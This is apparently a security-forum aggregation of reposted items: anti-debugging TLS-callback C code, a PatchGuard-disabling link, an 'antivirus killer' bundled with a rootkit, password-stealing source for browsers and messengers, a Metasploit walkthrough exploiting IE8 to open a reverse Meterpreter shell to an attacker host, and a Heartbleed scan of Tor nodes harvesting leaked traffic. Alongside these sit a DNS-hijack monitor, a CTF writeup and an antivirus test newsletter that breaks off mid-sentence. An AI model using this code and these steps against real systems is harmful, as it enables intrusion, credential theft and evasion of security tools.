ntdll.dll!LdrpRunInitializeRoutines+0x3ab 27, ntdll.dll!LdrpInitializeProcess+0x1400 28, ntdll.dll!_LdrpInitialize+0x78 29, ntdll.dll!LdrInitializeThunk+0x10 You can see the TLS callback is called by the loader during process startup. Here is example code. #include <stdio.h>#include <Windows.h> #pragma comment(lib,"ntdll.lib") #pragma comment(linker,"/include:__tls_used") // This will cause the linker to create the TLS directory #pragma section(".CRT$XLB",read) // Create a new section extern "C" NTSTATUS NTAPI NtQueryInformationProcess(HANDLE hProcess,ULONG InfoClass,PVOID Buffer,ULONG Length,PULONG ReturnLength); #define NtCurrentProcess() (HANDLE)-1 // The TLS callback is called before the process entry point executes, and is executed before the debugger breaks // This allows you to perform anti-debugging checks before the debugger can do anything // Therefore, TLS callback is a very powerful anti-debugging technique void WINAPI TlsCallback(PVOID Module,DWORD Reason,PVOID Context) { PBOOLEAN BeingDebugged=(PBOOLEAN)__readfsdword(0x30)+2; HANDLE DebugPort=NULL; if(*BeingDebugged) // Read the PEB { MessageBox(NULL,"Debugger detected!","TLS callback",MB_ICONSTOP); } else { MessageBox(NULL,"No debugger detected","TLS callback",MB_ICONINFORMATION); } // Another check if(!NtQueryInformationProcess( NtCurrentProcess(), 7, // ProcessDebugPort &DebugPort, // If debugger is present, it will be set to -1 | Otherwise, it is set to NULL sizeof(HANDLE), NULL)) { if(DebugPort) { MessageBox(NULL,"Debugger detected!","TLS callback",MB_ICONSTOP); } else { MessageBox(NULL,"No debugger detected","TLS callback",MB_ICONINFORMATION); } } } __declspec(allocate(".CRT$XLB")) PIMAGE_TLS_CALLBACK CallbackAddress[]={TlsCallback,NULL}; // Put the TLS callback address into a null terminated array of the .CRT$XLB section // The entry point is executed after the TLS callback int main() { printf("Hello world"); getchar(); return 0; } [h=4]Attached Files[/h] tls.zip 350.48KB 15 downloads Sursa: Detect debugger with TLS callback - Source Codes - rohitab.com - Forums

[h=1]PatchGuard disabling code for up-to-date Win8.1[/h] Source download : https://github.com/tandasat/findpg Deverloped by : https://twitter.com/standa_t Via: DEMO PatchGuard disabling code for up-to-date Win8.1 - Source Codes - rohitab.com - Forums

[h=1]Antivirus killer with AFX Rootkit[/h] This is my new antivirus killer, AFX KillAV. This program block execution of antivirus software. AFX Windows Rootkit 2003 is used to hide the process of this program. Features: Run on Windows startup. Block execution of antivirus software. Hide the running process of itself using AFX Windows Rootkit 2003. AFX Windows Rootkit 2003 is a user mode rootkit that allow you to hide processes, files and registry. [h=4]Attached Files[/h] winav.zip 404.1KB 1158 downloads Sursa: Antivirus killer with AFX Rootkit - Source Codes - rohitab.com - Forums

[h=1]Password recovery for firefox, IE, google talk and more[/h]By [h=3]shebaw[/h]Hi everyone, since there is growing number of topics about password recovery, I decided to share my code I wrote after disassembling popular recovery software. I was hoping I would clean it up a little bit (too many callbacks, memory mapping). It recovers passwords stored by: IE 4-9, Firefox 0-the latest version, GTalk, MSN Messenger, Windows Live Messenger, Generic Network & Visible domain passwords. I'm sorry for cramming most of the recovery code in pass_recov.c. I was hopping I would break that up. I've attached the project. Here is how you would use it. Here is a sample code on how to use it. #include <stdio.h> #include "pass_recov.h" void CALLBACK display_pass(pass_type_t ptype, const wchar_t *url, const wchar_t *username, const wchar_t *password, void *param) { switch (ptype) { case firefox3: case firefox4: wprintf(L"firefox pass username:%s password:%s", username, password); break; /* and so on, you get the idea */ } } int main(void) { struct cred_grab_arg carg; carg.grab_pass = display_pass; /* user defined callback, that's called for each password recovered */ carg.param = NULL; /* user defined paramater that's used to pass values to the callback, NULL in this case */ get_firefox_passwords(&carg); get_ie_passwords(&carg); return 0; } he previous versions of firefox (0-3) used signon[1-3].txt while the later versions use sqlite database. The functions used to manipulate the sqlite databases are loaded from firefox's installation directory so sqlite doesn't need to be linked statically. It works from firefox 0 - the latest version. I didn't test the IE recovery code on IE 10 but it should work. IE 7 and above hash the passwords stored for each site using the url of the website which I think is clever. It can be circumvented if IE is set to store history of the browsed sites (default behavior) since we can get the urls to see if the hashes match. I'm not sure how IE 'sanitizes' the urls since it differs from sites to sites so I've added two ways which I noticed.[h=4]Attached Files[/h] pass_recov.zip 16.58KB 842 downloads Sursa: Password recovery for firefox, IE, google talk and more - Source Codes - rohitab.com - Forums

Metasploit Meterpreter and NAT Published January 4, 2014 | By Corelan Team (corelanc0d3r) Professional pentesters typically use a host that is connected directly to the internet, has a public IP address, and is not hindered by any firewalls or NAT devices to perform their audit. Hacking "naked" is considered to be the easiest way to perform a penetration test that involves getting shells back. Not everyone has the luxury of putting a box directly connected to the internet and as the number of free public IP addresses continues to decrease, the need for using an audit box placed in a LAN, behind a router or firewall, will increase. Putting an audit box behind a device that will translate traffic from private to public and vice versa has some consequences. Not only will you need to be sure that the NAT device won’t "break" if you start a rather fast portscan, but since the host is in a private LAN, behind a router or firewall, it won’t be reachable directly from the internet. Serving exploits and handling reverse, incoming, shells can be problematic in this scenario. In this small post, we’ll look at how to correctly configure Meterpreter payloads and make them work when your audit box is behind a NAT device. We’ll use a browser exploit to demonstrate how to get a working Meterpreter session, even if both the target and the Metasploit "attacker" box are behind NAT. Network setup I’ll be using the following network setup in this post: Both the attacker and the target are behind a NAT device. We don’t know the IP range used by the target and we’ve determined there is no direct way in from the internet to the target network, so the public IP of the target is not relevant. We’ll assume that the target has the ability to connect to the internet over port 80 and 443. I’ve used IP 1.1.1.1 to indicate the "public" side of our attack network. You will have to replace this IP with your own public IP when trying the steps in this post. I will use Kali Linux as the attacker and I have set up a clone of the Metasploit Git repository on the box: cd / mkdir -p /pentest/exploits git clone https://github.com/rapid7/metasploit.git cd metasploit-framework bundle install If you already had a git clone set up, make sure to update to the latest and greatest with "git pull". (A small bug, related with using Meterpreter behind NAT was just fixed a few hours ago, so it’s important to update to the latest version) The target is just a Windows XP SP3 box, but it doesn’t really matter what it is, as long as we can use a browser exploit to demonstrate how to use Meterpreter. I have installed Internet Explorer 8 from IECollection (download here: Utilu IE Collection - Utilu.com). I’ll be using this IE version because it’s outdated and pretty much vulnerable to most of the IE8 browser exploits out there. Set up forwarding on the attacker side If we ever want to be able to accept connections from the target, we will need to configure the attacker firewall/NAT to forward traffic on certain ports. The exact steps to do this will be very specific to the brand/model/type of router/firewall that you are using, so this is beyond the scope of this post. In general, the idea is to configure the router/firewall so traffic to the public IP address of the router, on ports 80 and 443, will be forwarded to 192.168.0.187 (which is the LAN IP of my attacker box). When setting up the router/firewall, make sure to check if port 80 and/or 443 are not used by the router/firewall (management interface, VPN endpoint, etc). We’ll use port 80 to serve the browser exploit and port 443 for the reverse Meterpreter connection. First, we need to verify that the forwarding works. On Kali, create a small html file and store it under /tmp root@krypto1:/# cd /tmp root@krypto1:/tmp# echo "It works" > test.html Next, make sure nothing is currently using port 80 or port 443 root@krypto1:/tmp# netstat -vantu | grep :80 root@krypto1:/tmp# netstat -vantu | grep :443 If you don’t see output to both commands, you should be good to go. If something is listed, you’ll need to find what process is using the port and kill the process. For port 80, you could check the processes that are taking control over the http port using the following lsof command: root@krypto1:/tmp# lsof -i | grep :http apache2 4634 root 4u IPv6 393366 0t0 TCP *:http (LISTEN) apache2 4642 www-data 4u IPv6 393366 0t0 TCP *:http (LISTEN) apache2 4643 www-data 4u IPv6 393366 0t0 TCP *:http (LISTEN) apache2 4644 www-data 4u IPv6 393366 0t0 TCP *:http (LISTEN) apache2 4645 www-data 4u IPv6 393366 0t0 TCP *:http (LISTEN) apache2 4646 www-data 4u IPv6 393366 0t0 TCP *:http (LISTEN) Just stop apache2 to free up the port: root@krypto1:/tmp# service apache2 stop Stopping web server: apache2 ... waiting . root@krypto1:/tmp# With all ports available, we’ll run a simple web server and serve the "test.html" page. From the folder that contains the test.html file, run this python command: root@krypto1:/tmp# python -m SimpleHTTPServer 80 Serving HTTP on 0.0.0.0 port 80 ... If you now connect to http://192.168.0.187/test.html from the Kali box itself, you should see the "It works" page and the The output on the Kali box should list the connection and show that the page was served with response 200 root@krypto1:/tmp# python -m SimpleHTTPServer 80 Serving HTTP on 0.0.0.0 port 80 ... 192.168.0.187 - - [04/Jan/2014 12:42:02] "GET /test.html HTTP/1.1" 200 - Perfect, this proves that the webserver works. On the target computer, connect to http://1.1.1.1/test.html (again, replace 1.1.1.1 with the public IP of the router/firewall on the attacker side) and you should get the same thing. If you don’t see the page, check that the forwarding is set up correctly. If this works for port 80, go back to the attacker box and terminate the python command using CTRL+C. Then launch the command again, this time using port 443: root@krypto1:/tmp# python -m SimpleHTTPServer 443 Serving HTTP on 0.0.0.0 port 443 ... Now access the webserver over port 443. Despite the fact that we are using 443 and that 443 is commonly associated with https (encrypted), our python handler is not using encryption. In other words, we still have to use http instead of https in the URL: root@krypto1:/tmp# python -m SimpleHTTPServer 443 Serving HTTP on 0.0.0.0 port 443 ... 192.168.0.187 - - [04/Jan/2014 12:47:44] "GET /test.html HTTP/1.1" 200 - 192.168.0.187 - - [04/Jan/2014 12:47:44] code 404, message File not found 192.168.0.187 - - [04/Jan/2014 12:47:44] "GET /favicon.ico HTTP/1.1" 404 - 192.168.0.187 - - [04/Jan/2014 12:47:44] code 404, message File not found 192.168.0.187 - - [04/Jan/2014 12:47:44] "GET /favicon.ico HTTP/1.1" 404 - (don’t worry about the 404 messages related with /favicon.ico – it’s safe to ignore them) If you can connect to http://1.1.1.1:443/test.html from the target computer, we know that the port forwarding is working correctly for both port 80 and 443. If this doesn’t work, there’s no point in proceeding, because anything else we try will fail. When everything works, close the python command to free up port 443 too. Metasploit configuration Browser exploit – meterpreter/reverse_https First of all, let’ set up Metasploit to serve the browser exploit and handle a reverse https Meterpreter connection. The idea is to trick the target into connecting to the exploit on port 80 and serve the meterpreter/reverse_https connection over port 443. Go to the metasploit-framework folder, open msfconsole (don’t forget the ./ if you want to be sure you’re running msfconsole from the current folder and not the version that was installed with Kali) and select an exploit. For the sake of this exercise, I’ll use ms13_069_caret.rb: root@krypto1:/tmp# cd /pentest/exploits/metasploit-framework/ (master) root@krypto1:/pentest/exploits/metasploit-framework# ./msfconsole , , / \ ((__---,,,---__)) (_) O O (_)_________ \ _ / |\ o_o \ M S F | \ \ _____ | * ||| WW||| ||| ||| =[ metasploit v4.9.0-dev [core:4.9 api:1.0] + -- --=[ 1248 exploits - 678 auxiliary - 199 post + -- --=[ 324 payloads - 32 encoders - 8 nops msf > use exploit/windows/browser/ms13_069_caret msf exploit(ms13_069_caret) > Show the options: msf exploit(ms13_069_caret) > show options Module options (exploit/windows/browser/ms13_069_caret): Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 SRVPORT 8080 yes The local port to listen on. SSL false no Negotiate SSL for incoming connections SSLCert no Path to a custom SSL certificate (default is randomly generated) SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) URIPATH no The URI to use for this exploit (default is random) Exploit target: Id Name -- ---- 0 IE 8 on Windows XP SP3 The exploit requires a SRVHOST and SRVPORT. These 2 variables will be used by Metasploit to determine where the webserver needs to bind to and listen on. The plan is to trick the target to connect to this webserver, using the public IP of our firewall/router, which will then forward the traffic to our Metasploit instance. We can't tell the Metasploit webserver to listen to the public IP of our router, because it won't be able to "bind" itself to that IP address. If we use 0.0.0.0, the Metasploit webserver will simply listen on all interfaces for incoming traffic. In other words, you can leave the SRVHOST to 0.0.0.0, or you can set it to the LAN IP of the Kali box itself (192.168.0.187 in this case). I'll just leave the default 0.0.0.0. Next, we need to change the port to 80, and we'll set the URIPATH to / (so we can predict what the URI will be, instead of letting Metasploit create a random URI): msf exploit(ms13_069_caret) > set SRVPORT 80 SRVPORT => 80 msf exploit(ms13_069_caret) > set URIPATH / URIPATH => / Next, let's select the meterpreter reverse_https payload for windows. If we run "show options" again, we'll see this: msf exploit(ms13_069_caret) > set payload windows/meterpreter/reverse_https payload => windows/meterpreter/reverse_https msf exploit(ms13_069_caret) > show options Module options (exploit/windows/browser/ms13_069_caret): Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 SRVPORT 80 yes The local port to listen on. SSL false no Negotiate SSL for incoming connections SSLCert no Path to a custom SSL certificate (default is randomly generated) SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) URIPATH / no The URI to use for this exploit (default is random) Payload options (windows/meterpreter/reverse_https): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique: seh, thread, process, none LHOST yes The local listener hostname LPORT 443 yes The local listener port Exploit target: Id Name -- ---- 0 IE 8 on Windows XP SP3 msf exploit(ms13_069_caret) > The Module options (SRVHOST and SRVPORT) are set the way we want it. The Payload options require an LHOST and LPORT. Based on the output above, the LPORT is already set to 443. This is the port where the Meterpreter reverse connection will attempt to connect to. If it was not set to 443 already on your box, simply run "set LPORT 443" to make sure the Meterpreter handler will listen on port 443: msf exploit(ms13_069_caret) > set LPORT 443 LPORT => 443 Note: In any case, to keep things as easy as possible, try to use the same ports for a specific "service". That is, if you host the webserver on port 80 on the firewall, try to make sure to also forward traffic to port 80 on the attacker/Metasploit box, and host the exploit on port 80 in Metasploit. The same thing applies to the payload. If we serve the payload on port 443, make sure to use this port everywhere. LHOST serves 2 purposes : It indicates the IP address where the Meterpreter shellcode will have to connect back to (from the target, to the attacker). It tells Metasploit where to bind to when setting up the Meterpreter "handler". Since our attacker host is behind NAT, we have to use the public IP address of the router/firewall as LHOST. When the exploit is executed, this IP will be embedded in the shellcode and when the initial Meterpreter shellcode runs on the target, it will connect back to this IP address. The port forwarding on our router/firewall will then forward traffic to our LAN IP of the attacker host. For this reason, we need to set LHOST to 1.1.1.1 (the public IP of your attacker router/firewall) Using a public IP as LHOST also means that Metasploit will attempt to bind itself to that IP when setting up the Meterpreter handler. Since this IP belongs to the router/firewall and not to the Metasploit instance, this will obviously fail. The good thing is that Metasploit will automatically fall back to 0.0.0.0 and basically serve the Meterpreter handler on all local IPs on the attacker host, while remembering that LHOST was set to our public IP address. This is exactly what we need. Set LHOST to 1.1.1.1 msf exploit(ms13_069_caret) > set LHOST 1.1.1.1 LHOST => 1.1.1.1 If we don't really want the Meterpreter handler to fall back to 0.0.0.0, we can use one of the "advanced" options and tell it to listen on the LAN IP address: msf exploit(ms13_069_caret) > set ReverseListenerBindAddress 192.168.0.187 ReverseListenerBindAddress => 192.168.0.187 and then fire up the exploit: msf exploit(ms13_069_caret) > exploit [*] Exploit running as background job. [*] Started HTTPS reverse handler on https://192.168.0.187:443/ [*] Using URL: http://0.0.0.0:80/ [*] Local IP: http://192.168.0.187:80/ [*] Server started. The output shows us that http://0.0.0.0:80 (or http://192.168.0.187:80) is hosting the browser exploit. If the target connects to http://1.1.1.1, traffic will be forwarded to the Kali box on port 80 and serve the exploit. The HTTPS reverse handler is listening on 192.168.0.187, port 443. What we don’t see in the output is the fact that the actual Meterpreter shellcode contains IP address 1.1.1.1 to connect back to. That value is taken from the LHOST variable. If you didn’t use ReverseListenerBindAddress and you get something like the output below after running "exploit", then check the following check that the port is free to use make sure you are running the latest version of Metasploit set the ReverseListenerBindAddress to your local LAN IP or to 0.0.0.0 exit msfconsole and open it again. under certain scenario’s, you’ll notice that the bind doesn’t get properly cleaned up if you ran a session before. msf exploit(ms13_069_caret) > exploit [*] Exploit running as background job. [-] Exploit failed: Rex::AddressInUse The address is already in use (0.0.0.0:443). If we now use IE8 (from IECollection) on the target and connect to the public IP of our attacker router/firewall on port 80, we should see this: msf exploit(ms13_069_caret) > [*] 2.2.2.2 ms13_069_caret - Sending exploit... [*] 2.2.2.2 ms13_069_caret - Sending exploit... [*] 2.2.2.2:53893 Request received for /NtFT... [*] 2.2.2.2:53893 Staging connection for target /NtFT received... [*] Patched user-agent at offset 663128... [*] Patched transport at offset 662792... [*] Patched URL at offset 662856... [*] Patched Expiration Timeout at offset 663728... [*] Patched Communication Timeout at offset 663732... [*] Meterpreter session 1 opened (192.168.0.187:443 -> 2.2.2.2:53893) at 2014-01-05 09:24:26 +0100 [*] Session ID 1 (192.168.0.187:443 -> 2.2.2.2:53893) processing InitialAutoRunScript 'migrate -f' [*] Current server process: iexplore.exe (2952) [*] Spawning notepad.exe process to migrate to [+] Migrating to 500 [+] Successfully migrated to process msf exploit(ms13_069_caret) > sessions -i 1 [*] Starting interaction with 1... meterpreter > shell Process 592 created. Channel 1 created. Microsoft Windows XP [Version 5.1.2600] © Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\peter\Desktop> 2.2.2.2 is the public IP of the target. Metasploit is sending the payload when the target connects to port 80, exploits the browser and executes the initial meterpreter payload. This payload will download metsrv.dll (which gets patched by Metasploit first, so it would contain the attacker public IP and port), loads it into memory (using reflective load) and runs the code. When that is done, you get a full Meterpreter session. Life is good. So, in a nutshell, set the following variables and you should be good to go: SRVHOST : 0.0.0.0 SRVPORT : set to the port where you want to host the browser exploit LHOST : the attacker public IP LPORT : set to the port where you want to serve the Meterpreter handler ReverseListenerBindAddress : LAN IP (optional) If, for whatever reason, you also want to host the Meterpreter handler on another port than what the client will connect to, then you can use LPORT to specify where the target will connect back to, and use ReverseListenerBindPort to indicate where the handler needs to listen to. Obviously, you’ll need to make sure the port forwarding will connect to the right port on your attacker machine. © 2014, Corelan Team (corelanc0d3r). All rights reserved. Sursa: https://www.corelan.be/index.php/2014/01/04/metasploit-meterpreter-and-nat/

A chain is only as strong as its weakest link – DNS Hijack Monitoring Published December 29, 2013 | By Corelan Team (corelanc0d3r) It doesn’t really matter how much time your developers have spent writing secure code and how many layers of security you have implemented to protect your website from being hacked and defaced. Recent incidents have demonstrated that the bad guys will simply look for and find an easier way to hurt your business. Instead of going after vulnerabilities in the website itself, they’ll focus on a potentially weaker link in the system: the DNS registrar. All they have to do is "convince" the right person (via e-mail, fax, etc) or by guessing username/password in the management console for DNS, by hacking into a DNS hosting company, that an update to your public DNS records is legit. A few moments later, the internet won’t be looking at your website anymore. You could use tools to monitor the content of your websites & report back when significant changes are made, but as the content of websites often changes, you’ll find yourself updating your tools quite often. Perhaps an easier approach would be to also monitor the DNS records and report when an IP address has changed. Getting started I decided to hack a little python script together that allows you to do that. You can get a copy of the script at https://github.com/corelan/dnshjmon or simply clone the repository: root@krypto1:/dns# git clone https://github.com/corelan/dnshjmon.git Cloning into 'dnshjmon'... remote: Counting objects: 54, done. remote: Compressing objects: 100% (37/37), done. remote: Total 54 (delta 28), reused 43 (delta 17) Unpacking objects: 100% (54/54), done. root@krypto1:/dns# Setting up the configuration The script uses 2 configuration files: a file that contains the hostnames you want to monitor, and the valid IP (one, multiple, or even CIDR notations) a file that contains the configuration about how to send email reports DNS Config file This is a flat ascii file (dnshjmon_dns.conf) that contains the list with hostnames that need to be checked and the list with valid IPs for that hostname. hostname=ip You can specify multiple IP addresses and/or even use CIDR notation. Simply separate entries with a comma: hostname=127.0.0.1,192.168.0.1/25 If you want to exclude a certain IP, prefix it with a dash hostname=127.0.0.1,192.168.0.1/25,-192.168.0.5 You can, obviously, specify as many hostnames as you want. You can specify an alternative path for the dns configuration file using the -d argument. SMTP Config file This file (dnshjmon_smtp.conf) will be created the first time you run dnshjmon.py, using an interactive wizard. (master) root@krypto1:/dns/dnshjmon# python dnshjmon.py __ __ __ .--| |.-----..-----.| |--.|__|.--------..-----..-----. | _ || ||__ --|| || || || _ || | |_____||__|__||_____||__|__|| ||__|__|__||_____||__|__| |___| [ corelanc0d3r - www.corelan.be ] [+] Using dns config file /dns/dnshjmon/dnshjmon_dns.conf [-] Oops, email config file /dns/dnshjmon/dnshjmon_smtp.conf doesn't exist yet [+] Creating a new config file. > Enter smtp mail server IP or hostname: 127.0.0.1 > Enter mail server port (default: 25): > Enter 'From' email address: peter.ve@corelan.be > Enter 'To' email address: peter.ve@corelan.be > Enter mail server timeout (in seconds, default: 300): > Does server require authentication? (yes/no, default: no): > Does server require/support STARTTLS ? (yes/no, default: no): [+] Saved new config file You can specify an alternate path to the configuration file using the -s parameter. If you want to add additional mailserver configurations or change the existing one, simply edit the conf file. You can test if the mail configuration works correctly by using the -mail argument. By default, emails will be sent with high-priority and requesting a return-receipt. Can I use custom nameservers (other than the ones configured on the OS level) ? Sure you can, but you’ll need to install the python-dnspython library from www.dnspython.org. On Ubuntu / Kali, this is as easy as running apt-get install python-dnspython. On Windows, you need to extract the archive and run setup.py or, alternatively, just copy the ‘dns’ subfolder to c:\python27\lib\site-packages. When dnshjmon detects that the library is installed, it will expose a -n argument, which allows you to specify the full path to a flat file that contains the IP address or addresses (one IP per line) of the DNS server(s) you want to use for queries. Using the script After setting up the configuration files, all you have to do is schedule the script to run (every half an hour, for example). When a mismatch is found, an email will be sent. It may not be a bad idea to configure your monitoring box to use Google or OpenDNS for DNS resolution. Furthermore, if you run this script on a windows box, maybe create a little batch file that will also call ipconfig /flushdns prior to running the python script. It might be a good idea to run a git pull from time to time, as I may be adding new features some time in the future. If all goes well, the output (on screen) will look like this: (master) root@krypto1:/dns/dnshjmon# python dnshjmon.py _ __ __ .--| |.-----..-----.| |--.|__|.--------..-----..-----. | _ || ||__ --|| || || || _ || | |_____||__|__||_____||__|__|| ||__|__|__||_____||__|__| |___| [ corelanc0d3r - www.corelan.be ] [+] Using dns config file /dns/dnshjmon/dnshjmon_dns.conf [+] Using mail config file /dns/dnshjmon/dnshjmon_smtp.conf [+] Running DNS check [+] Using OS DNS configuration for queries Results: -------- 1. www.corelan.be - check OK? : true (['178.79.152.9']) [+] Done checking, tested 1 sites, reported 0 IP mismatches if an issue is found, you’ll see this: (master) root@krypto1:/dns/dnshjmon# python dnshjmon.py _ __ __ .--| |.-----..-----.| |--.|__|.--------..-----..-----. | _ || ||__ --|| || || || _ || | |_____||__|__||_____||__|__|| ||__|__|__||_____||__|__| |___| [ corelanc0d3r - www.corelan.be ] [+] Using dns config file /dns/dnshjmon/dnshjmon_dns.conf [+] Using mail config file /dns/dnshjmon/dnshjmon_smtp.conf [+] Running DNS check [+] Using OS DNS configuration for queries Results: -------- 1. www.corelan.be - check OK? : false (['178.79.152.9'] : Record manipulated?) [+] Done checking, tested 1 sites, reported 1 IP mismatches ************************************************** 1 DNS record(s) may have been manipulated: 20131231-09:43:26: www.corelan.be resolves to 178.79.152.9, but it should be ['178.79.152.8'] ************************************************** [+] Config file appears to contain 1 mail server definitions [+] Checking if 172.0.0.1:25 is reachable Yup, port is open [+] Connecting to 127.0.0.1 on port 25 [+] Connected [+] Sending email [+] Mail sent, disconnecting Suppose you want to use the google DNS server 8.8.8.8 instead of the OS DNS server configuration and you have installed python-dnspython, then simply create a file (nameservers.conf or something like that) and put 8.8.8.8 in that file. Tell dnshjmon to use that file and the output will look like this: (master) root@krypto1:/dns/dnshjmon# python dnshjmon.py -n nameservers.conf _ __ __ .--| |.-----..-----.| |--.|__|.--------..-----..-----. | _ || ||__ --|| || || || _ || | |_____||__|__||_____||__|__|| ||__|__|__||_____||__|__| |___| [ corelanc0d3r - www.corelan.be ] [+] Using dns config file /dns/dnshjmon/dnshjmon_dns.conf [+] Using mail config file /dns/dnshjmon/dnshjmon_smtp.conf [+] Running DNS check [+] Using 1 DNS server(s) for queries: ['8.8.8.8'] Results: -------- 1. www.corelan.be - check OK? : true (['178.79.152.9']) [+] Done checking, tested 1 sites, reported 0 IP mismatches The script was written and tested against python 2.7 and should run out of the box on Windows, Linux and Mac OS. Enjoy ! © 2013, Corelan Team (corelanc0d3r). All rights reserved. Sursa: https://www.corelan.be/index.php/2013/12/29/a-chain-is-only-as-strong-as-its-weakest-link-dns-hijack-monitoring/

Bsidesla 2013 - Ssd Data Evaporation @sambrowne Description: For More Information please visit : - BSidesLV Bsides Las Vegas 2013 Videos (Hacking Illustrated Series InfoSec Tutorial Videos) Sursa: Bsidesla 2013 - Ssd Data Evaporation @sambrowne

Bsidesla 2013 - Cookie Reuse Sam Bowne @sambrowne Description: For More Information please visit : - BSidesLV Bsides Las Vegas 2013 Videos (Hacking Illustrated Series InfoSec Tutorial Videos) Sursa: Bsidesla 2013 - Cookie Reuse Sam Bowne @sambrowne

Bsidesla 2013 - Gps Hacking @Recompiler Description: For More Information please visit : - BSidesLV Bsides Las Vegas 2013 Videos (Hacking Illustrated Series InfoSec Tutorial Videos) Sursa: Bsidesla 2013 - Gps Hacking @Recompiler

Thursday, April 17 2014[h=3]TOR Bleed[/h] Update 2: I scanned Tor starting Friday April 11th and ended Sunday April 13th. I stopped cause I got enough evidence on leaked plain text. I wasn't sure what to do with the data so I was sitting on it for a couple of days but than decided to just blog about it. Update: Tor doesn't have too many exitnodes, the nodes I was testing are Tor nodes in general not only exitnodes. Never the less I found a number of vulnerable exitnodes that leak plain text data. The Tor Project has started to black list vulnerable nodes. Tuesday April 7th I started my own investigations of the Heartbleed issue. In this blog post I want to talk about one of the things I've been looking into that is the effect heartbleed has on TOR. TOR heavily uses SSL to encrypt traffic between the various TOR nodes. TOR was obviously vulnerable as reported by the TOR project. For my investigation I pulled a list of about 5000 TOR nodes using dan.me.uk. Using one of the many proof-of-concept exploits I scanned the TOR nodes to determine if they are vulnerable. I found 1045 of the 5000 nodes to be vulnerable to the heartbleed bug, that is about 20%. I briefly checked the leaked memory to determine if plain text is leaked that is related to TOR user traffic. Yes, TOR exitnodes that are vulnerable to heartbleed leak plain text user traffic. You can find anything ranging from hostnames, downloaded web content, to session IDs, etc. The majority of the vulnerable TOR nodes are located in Germany, Russia, France, Netherlands, United Kingdom, and Japan. The TOR network has more than 5000 nodes so this is not a complete picture but it provides a good overview of the possible number of vulnerable exitnodes. The heartbleed bug basically allows any one to obtain traffic coming in and out of TOR exitnodes (given that the actual connection that is run over TOR is not encrypted itself). Of course a malicious party could run a TOR exitnode and inspect all the traffic that passes thru it, but this requires running a TOR node in the first place. Using the heartbleed bug anyone can query vulnerable exitnodes to obtain TOR exit traffic. There are a number of possible solutions for this problem. 1) update vulnerable TOR nodes (hopefully in progress), 2) create a blacklist of vulnerable TOR nodes and avoid them, 3) stop using TOR until all nodes are updated. Further Steps: Scan all TOR exitnodes to create a black list of vulnerable nodes so users can avoid them. Notes: One interesting thing I found is the large number of requests that seem to be originating from malware due to the domain names looking like the output of a DGA. Links: Heartbleed Heartbleed disclosure timeline: who knew what and when Sursa: Collin R. Mulliner

PlaidCTF writeup for Pwn-275 – Kappa (type confusion vuln) Hey folks, This is my last writeup for PlaidCTF! You can get a list of all my writeups here. Kappa is a 275-point pwnable level called Kappa, and the goal is to capture a bunch of Pokemon and make them battle each other! Ultimately, this issue came down to a type-confusion bug that let us read memory and call arbitrary locations. Let's see why! The setup When you run Kappa, you get a Pokemon interface: Thank you for helping test CTF plays Pokemon! Keep in mind that this is currently in alpha which means that we will only support one person playing at a time. You will be provided with several options once the game begins, as well as several hidden options for those true CTF Plays Pokemon fans . We hope to expand this in the coming months to include even more features! Enjoy! Choose an Option: 1. Go into the Grass 2. Heal your Pokemon 3. Inpect your Pokemon 4. Release a Pokemon 5. Change Pokemon artwork If you go into the grass, you can capture a Pokemon: You walk into the tall grass! You failed to find any Pokemon! Choose an Option: 1. Go into the Grass 2. Heal your Pokemon 3. Inpect your Pokemon 4. Release a Pokemon 5. Change Pokemon artwork You walk into the tall grass! A wild Kakuna appears! Choose an Option: 1. Attack 2. Throw Pokeball 3. Run You throw a Pokeball! You successfully caught Kakuna! What would you like to name this Pokemon? POKEMON1 Choose an Option: 1. Go into the Grass 2. Heal your Pokemon 3. Inpect your Pokemon 4. Release a Pokemon 5. Change Pokemon artwork ...And so on. Articol complet: https://blog.skullsecurity.org/2014/plaidctf-writeup-for-pwn-275-kappa-type-confusion-vuln

[TABLE=width: 600] [TR] [TD=align: center][TABLE=width: 100%] [TR] [TD] Real-World Protection Test Released File-Detection Test Released Firewall Review [/TD] [/TR] [/TABLE] [/TD] [/TR] [TR] [TD=align: center][TABLE=width: 100%] [TR] [TD] [/TD] [/TR] [TR] [TD]Dear <<First Name>> <<Last Name>>! We released the results of our latest Real-World Protection Test for March 2014. These show that in a real-world digital environment with ever-increasing malicious programs, keeping computers secure may prove to be a challenge not everybody is up to. We nearly tripled the test cases in the Real-World Protection Test to show more accurate results. A total of 24 antivirus products (using all their protection features) were included in the Real-World Protection Test of March. Tests of some additional products have been commissioned by IT publications, and although they are not included in this report, for some of them (G DATA, Symantec, ...) the results will not be inlcuded the reports, for some of them the results will be given along our half year report on the 15th of July 2014. None of the products were able to reach a 100% protection rate against widespread malicious samples used in this test. It is important to mention that the latter reflect only the March landscape of the cyberspace and, as the Internet environment changes dynamically from month to month, products might perform differently in the next months. Statistical Accuracy More than 125,000 test cases in the File Detection Test and around 1260 test cases in the Real World Test for statistical accuracy! Please have a look at the PDF why it is so important to use a large testset. Currently, AV-Comparatives' Whole-Product Dynamic Real-World Protection Test is the most comprehensive and complex test available when it comes to evaluating the real-life protection capabilities of antivirus software. Simply put, the test framework replicates the scenario of an everyday user in an everyday online environment – the typical situation that most of us experience when using a computer with an Internet connection. It creates a realistic setting where the antivirus products must show their ability to thoroughly protect the user’s computer when surfing the web. This year's Real-World Protection Tests are being run on Microsoft Windows 7 Home Premium 64-Bit SP1. Additionally, but not competing, the out-of-box protection of Microsoft Security Essentials (included with Windows 7) and Windows Defender (Windows 8) is evaluated. As well as the test workstations for the competing third-party security programs, two additonal, fully updated workstations are run: one with Windows 7 Home Premium 64-bit SP1 with Microsoft Security Essentials installed, and another with Windows 8 64-bit running the integrated Windows Defender. In the current test (March), both the out-of-box solutions achieved a 88.4% protection score. File-Detection Test We also released the file detection test of March 2014 - please find the results here: http://www.av-comparatives.org/comparativesreviews/detection-test Tests of some additional products have been commissioned by IT publications, and although they are not included in this report, for some of them (G DATA, Symantec, ...). results can be requested using the following link or can be read in the printed 